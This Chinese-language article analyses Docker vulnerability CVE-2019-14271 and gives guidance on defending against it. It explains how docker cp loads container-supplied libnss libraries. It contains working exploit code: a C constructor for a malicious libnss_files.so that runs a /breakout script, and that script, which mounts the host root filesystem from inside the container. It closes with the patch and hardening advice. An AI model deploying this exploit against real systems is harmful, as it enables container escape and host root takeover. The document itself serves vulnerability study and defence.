CVE-2019-14271:Docker copy漏洞分析
字数 1559 2025-08-26 22:11:39
Docker Copy 漏洞 CVE-2019-14271 深度分析与防护指南
漏洞概述
CVE-2019-14271 是 Docker 历史上最严重的 copy 漏洞之一,该漏洞允许恶意容器通过 docker cp 命令获取主机系统的 root 权限。此漏洞影响使用 Go v1.11 编译的 Docker 版本,攻击者可利用容器中的恶意库文件在主机上执行任意代码。
漏洞背景
Docker cp 命令工作机制
docker cp 命令允许在容器与主机之间或容器之间复制文件,其语法类似于 Unix 标准 cp 命令。当从容器复制文件到主机时,Docker 使用一个名为 docker-tar 的辅助进程:
docker-tar通过chroot进入容器文件系统- 将请求的文件或目录归档为 tar 格式
- 将生成的 tar 文件传递给 Docker 守护进程
- 守护进程将文件提取到主机的目标目录
chroot 机制用于防止符号链接问题,确保所有符号链接都在容器内部解析,而不会意外访问主机文件系统。
漏洞原理
根本原因
漏洞源于 Docker 使用 Go v1.11 编译,该版本中一些包含嵌入 C 代码 (cgo) 的包(如 net 和 os/user)会在运行时动态加载共享库(如 libnss_*.so)。正常情况下,这些库应从主机文件系统加载,但由于 docker-tar 已 chroot 到容器文件系统,实际会从容器中加载库。
关键问题点:
docker-tar进程虽然chroot到容器,但仍在主机命名空间运行- 具有 root 权限且不受 cgroups 或 seccomp 限制
- 加载并执行容器控制的恶意库代码
攻击场景
- 容器运行含有恶意
libnss_*.so库的镜像 - 容器中的
libnss_*.so库被攻击者替换
在这两种情况下,当用户执行 docker cp 命令时,攻击者可获取主机 root 权限。
漏洞利用分析
恶意库构造
攻击者需要构造恶意 libnss 库(如 libnss_files.so),在其中添加具有 constructor 属性的函数:
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// 子进程执行突破
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // 等待子进程
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // 可以打开说明/proc存在,不在特权环境
}
return true; // 运行在docker-tar上下文中
}
突破脚本示例
/breakout 脚本示例(实现主机文件系统访问):
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # 将主机的procfs挂载到/proc
cd /proc/1/root # 切换到主机的根目录
mount --bind . /host_fs # 将主机根目录挂载到/host_fs
echo "Hello from within the container!" > /host_fs/evil
漏洞修复方案
Docker 官方修复方案:
- 修改
docker-tar的初始化函数,在chroot到容器前从主机文件系统加载必要的libnss库 - 确保动态库加载发生在
chroot之前
补丁关键点:
// 在chroot前加载必要的库
func init() {
// 强制加载net和user包,触发库加载
_, _ = user.Lookup("root")
_, _ = net.LookupHost("localhost")
}
防护建议
- 立即升级:更新 Docker 到 19.03.1 或更高版本
- 最小权限原则:
- 避免使用 root 用户运行容器
- 使用非特权用户 (
--user) - 启用 seccomp 和 AppArmor/SELinux
- 镜像安全:
- 仅使用受信任的官方镜像
- 扫描镜像中的恶意组件
- 网络隔离:
- 限制容器网络访问
- 使用专用网络命名空间
- 监控与审计:
- 监控可疑的
docker cp操作 - 审计容器文件系统变更
- 监控可疑的
技术影响评估
- CVSS 评分:9.8 (Critical)
- 攻击复杂度:低
- 权限需求:无(攻击者只需控制容器)
- 用户交互:需要管理员执行
docker cp命令
结论
CVE-2019-14271 展示了容器安全中一个关键问题:看似隔离的环境可能通过共享库加载等机制突破边界。此漏洞特别危险,因为:
- 利用简单,只需控制容器镜像
- 直接获取主机 root 权限
- 触发条件(
docker cp)是常见管理操作
系统管理员应立即采取行动升级 Docker 版本,并审查现有容器安全配置,避免从不受信任的源获取容器镜像。